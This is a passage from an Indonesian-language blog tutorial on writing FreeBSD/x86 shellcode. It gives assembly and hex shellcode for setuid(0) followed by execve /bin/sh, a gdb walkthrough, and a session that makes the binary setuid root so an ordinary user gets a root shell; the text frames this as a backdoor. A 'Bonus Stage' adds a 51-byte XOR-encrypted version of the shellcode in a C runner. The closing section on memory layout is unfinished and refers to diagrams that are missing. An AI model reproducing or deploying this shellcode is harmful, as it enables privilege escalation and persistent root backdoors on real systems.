804808b: cd 80 int $0x80

dari hasil objdump shellcodenya adl:

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x 80


--------------------
/**freebsd setuid then exit shellcode made by: mywisdom**/
#include
#include
char shellcode[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\ x80";
int main()
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();

}
-------------------

misal namanya keluar.c:

mywisdom# gcc -o keluar keluar.c
mywisdom# ./keluar
Length: 13
mywisdom#

dieksekusi dg benar

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x 80
1 2 3 4 5 6 7 8 9 10 11 12 13

ok selanjutnya kita akan membuat sebuah backdoor dengan shellcode setuid
execve /bin/sh


------------------
mywisdom# cat /usr/include/sys/syscall.h | grep execve
#define SYS_execve 59
#define SYS___mac_execve 415
#define SYS_fexecve 492
mywisdom#
-------------------

yang akan dipakai adalah yg: #define SYS_execve 59

59 dalam hex: 3b

al kita isi dengan 3b

---------------
#include

int
execve(const char *path, char *const argv[], char *const envp[]);


berikut ini kode assembly untuk eksekusi /bin/sh:
-----------------
xor eax,eax; eax diset ke null
push byte 0 ;sama dengan push eax
push '//sh' ;alamat //sh disimpan ke stack
push '/bin'
mov ebx,esp
push byte 0 ;sama dengan push eax
push esp
push ebx
push byte 0
mov al,0x3b ;syscall execve
int 80h
--------------------


jika dilakukan strace kurang lebih fungsi execve dieksekusi spt ini:
execve("/bin/sh", "/bin/sh", NULL)




setelah itu kita gabungkan dengan kode asm untuk setuid shellcode:
-----------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor eax,eax
push byte 0
push byte 0
mov al,0x17
int 80h

xor eax,eax
push byte 0
push '//sh'
push '/bin'
mov ebx,esp
push byte 0
push esp
push ebx
push byte 0
mov al,0x3b
int 80h
--------------

untuk memahami kode di atas lalukan kompile dengan opsi -g:

----------
mywisdom# nasm -f elf suid.asm -g
mywisdom# ld -o suid suid.o
mywisdom# gdb -q suid
(gdb) l
1 ;copyleft by dom dom aka m0nk3y
2 global _start
3 section .text
4 _start:
5 xor eax,eax
6 push byte 0
7 push byte 0
8 mov al,0x17
9 int 80h
10
(gdb) l
11 xor eax,eax
12 push byte 0
13 push '//sh'
14 push '/bin'
15 mov ebx,esp
16 push byte 0
17 push esp
18 push ebx
19 push byte 0
20 mov al,0x3b
(gdb) b 16
Breakpoint 1 at 0x804809a: file suid.asm, line 16.
(gdb) run
Starting program: /root/shellcode/suid

Breakpoint 1, 0x0804809a in _start ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0xbfbfe9f0 -1077941776
esp 0xbfbfe9f0 0xbfbfe9f0
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x804809a 0x804809a
eflags 0x246 582
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x3b 59
(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0: "/bin//sh"
(gdb)

---------


sebelumnya esp menyimpan alamat /bin/sh yang telah kita push ke stack:

13 push '//sh'
14 push '/bin'

selanjutnya isi esp yg berupa alamat memori /bin/sh disimpan ke ebx:
15 mov ebx,esp

(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0: "/bin//sh"
(gdb)

0xbfbfe9f0 adlaah alamat /bin/sh

mulai break di baris ke 16 sehingga ebx :
ebx 0xbfbfe9f0 -1077941776

(gdb) x/s -1077941776
0xbfbfe9f0: "/bin//sh"
(gdb)


gdb) b 21
Breakpoint 1 at 0x80480a2: file suid.asm, line 21.
(gdb) run
Starting program: /root/shellcode/suid

Breakpoint 1, 0x080480a2 in _start ()

mywisdom# nasm -f elf suid.asm
mywisdom# ld -o suid suid.o
mywisdom# chmod u+s suid
mywisdom# uname -a
FreeBSD mywisdom.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18
02:24:46 UTC 2011
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
mywisdom# su mywisdom
$ id
uid=1001(mywisdom) gid=1001(mywisdom) groups=1001(mywisdom)
$ ./suid
# id
uid=0(root) gid=0(wheel) egid=1001(mywisdom) groups=1001(mywisdom)
#

(gdb) i r
eax 0x3b 59


karena register 32 bit (eax) terdiri dari 2 register 16 bit : ax di mana
ax terdiri lagi dari 2 register 8 bit , dengan mengisi register 8 bit al
dengan
0x3b maka eax=0x3b


Bonus Stage:
===============================================
/**
Title : 51 bytes FreeBSD/x86 encrypted setuid(0) execve /bin/sh
Date : Sun May 29 08:07:11 UTC 2011
Author; mywisdom (antonsoft_2004@yahoo.com)
Web : devilzc0de.org
Gopher: gopher://sdf.org/1/users/wisdomc0
Blog : http://myw1sd0m.blogspot.com/
Tested on: FreeBSD 8.2-RELEASE i386
special thanks to gunslinger,flyf666,petimati,peneter,wenkhairu, danzel,
net_spy, and all my friends
**/
#include
#include
int main()
{
char sc[]="\xeb\x0d\x5e\x31\xc9\xb1\x1f\x80\x36\x42\x46\xe2 \xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x73\x82\x12\x12\xf2\x55\x8f\ xc2\x73\x82"
"\x12\x2a\x6d\x6d\x31\x2a\x2a\x6d\x20\x2b\x2c\xcb\ xa1\x12\x16"
"\x11\x12\xf2\x79\x8f\xc2";
fprintf(stdout,"Length: %d\n",strlen(sc));
(*(void(*)()) sc)();
return 0;
}
================================================

.
-[ Closing ]-----------------------------------------------------------------------------------------------------------------------------------------------------------------------

Segmen-Segmen Program di Dalam Memori :
* Data Segment (Data + BSS + Heap)
* Stack
* Code segment atau bisa juga disebut segment text
* Memory
secara kasar inilah gambaran dari memori :

gambaran di atas merupakan virtual memory, berikut ini adl gambaran pemetaan virtual memori ke memori fisik:


Ok sekian dulu karena terbatasnya waktu. Enjoy reading.

================================================== ==============
greets: superman,gunslinger, mywisdom, flyf666,chaer,wenkahiru,k159,wahyu,wendy,danzel,ne t_spy,katam and so on ........................
thanks: all devilzc0de crews and members and all my friends
================================================== ==============
Media Promosi Iklan PPC Indonesia

You can replace this text by going to "Layout" and then "Page Elements" section. Edit " About "